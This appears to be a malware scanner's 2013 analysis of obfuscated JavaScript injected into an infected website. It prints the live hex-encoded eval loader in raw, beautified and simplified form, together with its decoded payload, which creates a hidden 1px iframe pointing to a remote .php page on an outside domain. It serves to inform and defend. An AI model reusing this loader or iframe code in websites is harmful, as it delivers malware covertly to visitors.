Obfuscated malicious JavaScript code generated hidden iframe to remote .php file
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 34 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Mon Apr 8 22:32:30 2013
Infected website's files: 34
Threat snapshot:
Malicious obfuscated javascript detected |
Threat dump:
[[<script type='text/javascript' language='javascript' >
p=parseInt;
ss=(123)?String.fromCharCode:0;
asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!78!6@!71!6@!73!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!6f!6e!65!73!74!65!70!62!75!6@!6c!64!6@!6e!67!73!7@!73!74!65!6d!2e!63!6f!6d!2f!44!6f!63!75!6d!65!6e!74!73!2f!65!73!64!2e!70!68!70!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!78!6@!71!6@!73!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!78!6@!71!6@!73!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!78!6@!71!6@!73!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!78!6@!71!6@!73!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");
try
{
document.body%26=0.1
}
catch(gdsgsdg)
{
zz=3;
dbshre=156;
if(dbshre)
{
vfvwe=0;
try
{
document;
}
catch(agdsg)
{
vfvwe=1;
}
if(!vfvwe)
{
e=eval;
}
s="";
if(zz)for(i=0;
i-516!=0;
i++)
{
if(window.document)s+=ss(p(asgq[i],16));
}
if(window.document)e(s);
}
}
</script>]]
Malware entry
Beautified script
- p = parseInt;
- ss = (123) ? String.fromCharCode : 0;
- asgq ="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!78!6@!71!6@!73!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!6f!6e!65!73!74!65!70!62!75!6@!6c!64!6@!6e!67!73!7@!73!74!65!6d!2e!63!6f!6d!2f!44!6f!63!75!6d!65!6e!74!73!2f!65!73!64!2e!70!68!70!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!78!6@!71!6@!73!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!78!6@!71!6@!73!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!78!6@!71!6@!73!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!78!6@!71!6@!73!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!78!6@!71!6@!73!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");
- try {
- document.body &= 0.1
- } catch (gdsgsdg) {
- zz = 3;
- dbshre = 156;
- if (dbshre) {
- vfvwe = 0;
- try {
- document;
- } catch (agdsg) {
- vfvwe = 1;
- }
- if (!vfvwe) {
- e = eval;
- }
- s = "";
- if (zz) for (i = 0; i - 516 != 0; i++) {
- if (window.document) s += ss(p(asgq[i], 16));
- }
- if (window.document) e(s);
- }
- }
Simplified version of malicious JavaScript
- asgq = "28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!78!6@!71!6@!73!20...."
- s = "";
- for (i = 0; i - 516 != 0; i++) { s += String.fromCharCode(parseInt(asgq[i], 16)); }
- eval(s);
Malicious payload analysis
Decoded payload injects hidden iframe to http://www[.]onestepbuildingsystem[.]com/Documents/esd[.]php
- (function () {
- var xiqis = document.createElement('iframe');
- xiqis.src = 'http://www.onestepbuildingsystem.com/Documents/esd.php';
- xiqis.style.position = 'absolute';
- xiqis.style.border = '0';
- xiqis.style.height = '1px';
- xiqis.style.width = '1px';
- xiqis.style.left = '1px';
- xiqis.style.top = '1px';
- if (!document.getElementById('xiqis')) {
- document.write('<div id=\'xiqis\'></div>');
- document.getElementById('xiqis').appendChild(xiqis);
- }
- })();
Blacklisting status
The website is Suspicious on Google Safe Browsing.
Google Safe Browsing analysis |
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
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